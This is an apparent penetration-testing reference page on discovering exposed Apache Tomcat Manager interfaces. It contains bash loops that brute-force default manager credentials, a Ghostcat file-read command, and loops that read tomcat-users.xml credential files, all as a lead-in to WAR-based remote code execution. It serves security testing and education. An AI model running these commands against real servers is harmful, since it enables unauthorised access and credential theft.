# Tomcat Manager Exposed

> Identify exposed Tomcat Manager interfaces, enumerate credentials via default/brute-force attacks, and leverage access for WAR-based RCE deployment.

- **URL:** https://hackindex.io/services/tomcat-ajp/vulnerability-discovery/tomcat-manager-exposed
- **Path:** Tomcat / AJP > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/tomcat-ajp/vulnerability-discovery.md)
- **Published:** 2026-03-30
- **Updated:** 2026-08-11

The Tomcat manager application at `/manager/html` enables deploying and undeploying WAR files: direct remote code execution when accessible. It should never be reachable from untrusted networks. When it is exposed and accepts default or weak credentials, it is an immediate path to a JSP web shell. Confirm the manager is deployed through [Tomcat HTTP enumeration](https://hackindex.io/services/tomcat-ajp/enumeration/tomcat-http-enumeration) before testing credentials here.

- Confirm Manager Accessibility
- Test Default Credentials
- Check tomcat-users.xml if Readable
- Manager Roles Reference

## Confirm Manager Accessibility

```bash
curl -skI http://$TARGET_IP:8080/manager/html | grep -iE 'HTTP|www-authenticate|location'
# HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="Tomcat Manager Application"
```

401 with a Basic auth challenge confirms the manager is deployed and requires credentials. A 403 means the manager is deployed but access is restricted by IP: check whether AJP bypasses this restriction. A 404 means the manager was removed or renamed.

## Test Default Credentials

Tomcat ships without a default manager account but installations frequently use predictable credentials:

```bash
for cred in admin:admin admin:password admin:tomcat tomcat:tomcat tomcat:s3cret manager:manager admin:s3cret admin: root:root; do
  code=$(curl -skI http://$TARGET_IP:8080/manager/html -u $cred | grep HTTP | awk '{print $2}')
  echo "$code $cred"
  [ "$code" = "200" ] && echo "VALID CREDENTIALS: $cred" && break
done
# 401 admin:admin
# 401 admin:password
# 200 tomcat:s3cret
# VALID CREDENTIALS: tomcat:s3cret
```

## Check tomcat-users.xml if Readable

When you have LFI, file read via Ghostcat, or another read path, check tomcat-users.xml for the actual configured credentials:

```bash
# Via Ghostcat if vulnerable
python3 Tomcat-Ajp-lfi.py $TARGET_IP -p 8009 -f ../conf/tomcat-users.xml 2>/dev/null
# <tomcat-users>
#   <user username="admin" password="manager_pass" roles="manager-gui"/>
#   <user username="tomcat" password="s3cret" roles="manager-script,manager-status"/>
# </tomcat-users>
```

```bash
# Common install paths
for path in /etc/tomcat9/tomcat-users.xml /opt/tomcat/conf/tomcat-users.xml /usr/share/tomcat9/etc/tomcat-users.xml; do
  [ -r "$path" ] && echo "=== $path ==="  && cat "$path" | grep -i 'user\|password\|role'
done
```

## Manager Roles Reference

Manager access is role-based: different roles enable different capabilities:

| Role | Enables |
| --- | --- |
| manager-gui | Full web UI: WAR deploy, undeploy, start/stop |
| manager-script | Text/API interface: WAR deploy via curl |
| manager-status | Status page only: server info, no deployment |
| admin-gui | Host manager web UI: add/remove virtual hosts |

manager-gui and manager-script both enable WAR deployment: either leads to code execution. Move to [WAR deployment exploitation](https://hackindex.io/services/tomcat-ajp/exploitation/tomcat-manager-war-deployment) once valid credentials are confirmed.

## References

- [Apache Tomcat: Manager HOW-TO](https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html) - Manager roles, authentication configuration, and API documentation